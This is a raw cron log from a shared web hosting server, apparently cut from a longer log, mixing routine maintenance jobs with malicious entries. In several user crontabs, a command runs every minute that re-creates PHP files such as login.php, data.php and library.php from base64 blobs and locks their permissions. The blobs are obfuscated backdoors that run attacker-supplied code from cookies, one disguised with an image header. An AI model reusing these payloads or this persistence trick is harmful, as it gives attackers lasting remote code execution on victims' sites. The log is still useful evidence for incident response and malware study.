CkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:58:01 medusa CROND[7247]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:58:01 medusa CROND[7288]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:58:01 medusa CROND[7378]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:58:01 medusa CROND[7379]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:58:01 medusa CROND[7380]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:58:01 medusa CROND[7381]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:58:01 medusa CROND[7382]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:58:01 medusa CROND[7383]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:58:01 medusa CROND[7384]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:58:01 medusa CROND[7385]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:58:01 medusa CROND[7391]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 00:58:01 medusa CROND[7392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:58:01 medusa CROND[7393]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:58:01 medusa CROND[7398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:59:01 medusa CROND[13254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:59:01 medusa CROND[13257]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:59:01 medusa CROND[13260]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:59:01 medusa CROND[13261]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:59:01 medusa CROND[13262]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:59:01 medusa CROND[13263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:59:01 medusa CROND[13265]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:59:01 medusa CROND[13268]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:59:01 medusa CROND[13269]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:59:01 medusa CROND[13277]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:59:01 medusa CROND[13279]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:59:01 medusa CROND[13286]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:00:01 medusa CROND[19718]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:00:01 medusa CROND[19736]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 01:00:01 medusa CROND[19740]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:00:02 medusa CROND[19818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:00:02 medusa CROND[19976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 01:00:02 medusa CROND[19977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:00:02 medusa CROND[19978]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:00:02 medusa CROND[19980]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:00:02 medusa CROND[19981]: (root) CMD (sleep $((1 + RANDOM % 5))h $((1 + RANDOM % 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; /usr/bin/yum -y update wp-toolkit-cpanel > /dev/null 2> /dev/null)
Mar  2 01:00:02 medusa CROND[19983]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[19984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 01:00:02 medusa CROND[19986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:00:02 medusa CROND[19987]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[19989]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:00:02 medusa CROND[19994]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 01:00:02 medusa CROND[20003]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:00:02 medusa CROND[20004]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
